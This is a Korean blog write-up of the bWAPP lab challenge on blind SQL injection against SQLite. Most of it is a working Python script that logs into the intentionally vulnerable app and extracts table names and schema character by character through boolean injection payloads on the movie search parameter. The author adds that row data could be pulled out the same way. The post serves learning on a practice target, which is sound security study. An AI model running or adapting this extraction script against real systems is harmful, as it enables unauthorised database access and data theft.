Wargame/bWAPP
bWAPP A1 SQL Injection - Blind (SQLite)
0xe82de_
2020. 10. 29. 22:13
728x90
728x90
728x90
itsecgames.com
www.itsecgames.com
이전 문제들과 마찬가지로 영화 이름을 검색하고 존재유무를 알려주는 페이지이다. 다른 점은 mysql이 아닌 sqlite가 사용된다는 것이다. mysql이 사용되는 이전 문제들과 마찬가지로 테이블명, 컬럼명, 데이터를 참/거짓 출력을 이용하여 알아내면 되는데, sqlite에서 테이블 정보를 확인할 수 있는 테이블은 sqlite_master이다.
low
low 레벨이다. sqlite의 경우 주석으로 "-" 문자 2개를 사용한다. 위와 같이 or 조건을 통해 참을 만들고 주석처리하면 "The movie exists in our database!" 문장이 출력됨을 알 수 있다. 무작위대입을 통해 DB명과 테이블명을 알아내는 python 코드를 짜봤다(소켓 오류가 발생할 수 있음.).
* code
0xe82de/bWAPP
Contribute to 0xe82de/bWAPP development by creating an account on GitHub.
github.com
#!/usr/bin/py
#-*-coding:utf-8 -*-
import requests
def GetTables(urlTarget, cookies):
tables = []
sqls = {}
tempTable = ""
tempSql = ""
cntTables = 0
checkEof = 0
countTable = 1
while(True):
for i in range(1, 11): ## Maximum Length of table's name
try:
paramsTarget = {
"title": "' or 1 and length((select tbl_name from sqlite_master limit " + str(countTable) + ", 1))=" + str(i) + "--",
"action": "search"
}
r = requests.get(urlTarget, params=paramsTarget, cookies=cookies)
except OSError as e:
i -= 1
continue
except Exception as e:
print(e)
print("[Length of table's name] Error...")
exit(1)
if 'The movie exists in our database!' in r.text:
## 테이블 길이를 알아냈으니 테이블 명 추측.
for j in range(1, i+1):
for k in range(32, 127): ## Ascii code
try:
if k != 34:
paramsTarget = {
"title": "' or 1 and substr((select tbl_name from sqlite_master limit " + str(countTable) + ", 1), " + str(j) + ", 1)=\"" + chr(k) + "\"--",
"action": "search"
}
else:
paramsTarget = {
"title": "' or 1 and substr((select tbl_name from sqlite_master limit " + str(countTable) + ", 1), " + str(j) + ", 1)=\"\"\"--",
"action": "search"
}
r = requests.get(urlTarget, params=paramsTarget, cookies=cookies)
except OSError as e:
k -= 1
continue
except Exception as e:
print(e)
print("[table's name] Error...")
exit(1)
if 'The movie exists in our database!' in r.text:
tempTable += chr(k)
break
tables.append(tempTable)
## length of sql column
for x in range(1, 501):
try:
paramsTarget = {
"title": "' or 1 and length((select sql from sqlite_master where tbl_name=\"" + tempTable + "\"))=" + str(x) + "--",
"action": "search"
}
r = requests.get(urlTarget, params=paramsTarget, cookies=cookies)
except OSError as e:
x -= 1
continue
except Exception as e:
print(e)
print("[Length of sql column] Error...")
exit(1)
if 'The movie exists in our database!' in r.text:
for y in range(1, x+1):
for z in range(32, 127): ## Ascii code
try:
if z != 34:
paramsTarget = {
"title": "' or 1 and substr((select sql from sqlite_master where tbl_name=\"" + tempTable + "\"), " + str(y) + ", 1)=\"" + chr(z) + "\"--",
"action": "search"
}
else:
paramsTarget = {
"title": "' or 1 and substr((select sql from sqlite_master where tbl_name=\"" + tempTable + "\"), " + str(y) + ", 1)=\"\"\"--",
"action": "search"
}
r = requests.get(urlTarget, params=paramsTarget, cookies=cookies)
except OSError as e:
z -= 1
continue
except Exception as e:
print(e)
print("[sql column] Error...")
exit(1)
if 'The movie exists in our database!' in r.text:
tempSql += chr(z)
break
sqls[tempTable] = tempSql
tempTable = ""
tempSql = ""
countTable += 1;
break; # 테이블명 알아내고 다음 테이블
else: ## False
if (i == 10): ## sqlite 테이블명 길이가 최대 10이라고 가정하고, 길이 10까지 DB에 존재하지 않으면 모든 테이블 확인한 것으로 추측
return tables, countTable, sqls
continue;
f.close()
def GetCookies(urlLogin, paramsLogin):
try:
session = requests.session()
session.post(urlLogin, data=paramsLogin)
return session.cookies.get_dict()
except Exception as e:
print(e)
print("Error...")
exit(1)
if __name__=="__main__":
urlLogin = "http://192.168.91.135/bWAPP/login.php"
urlTarget = "http://192.168.91.135/bWAPP/sqli_14.php"
paramsLogin = {
"login": "bee",
"password": "bug",
"security_level": "0",
"form": "submit"
}
cookies = GetCookies(urlLogin, paramsLogin)
print("## cookies ##")
print(cookies)
print("")
print("Search for a table. It takes a long time if there are a lot of tables.\n")
#GetTables(urlTarget, cookies)
tables, cntTables, sqls = GetTables(urlTarget, cookies)
print("## SQLite tables ##")
print(tables)
print("")
print(sqls)
위와 같이 SQLite DB 정보를 탈취할 수 있는데, 컬럼명을 알아냈으니 substr 함수를 이용하여 필드 데이터도 탈취할 수 있겠다.
medium, high
medium, high 레벨의 경우 이전 문제들과 마찬가지로 특수문자 필터링이 되므로 인젝션 공격이 어렵겠다.
728x90
728x90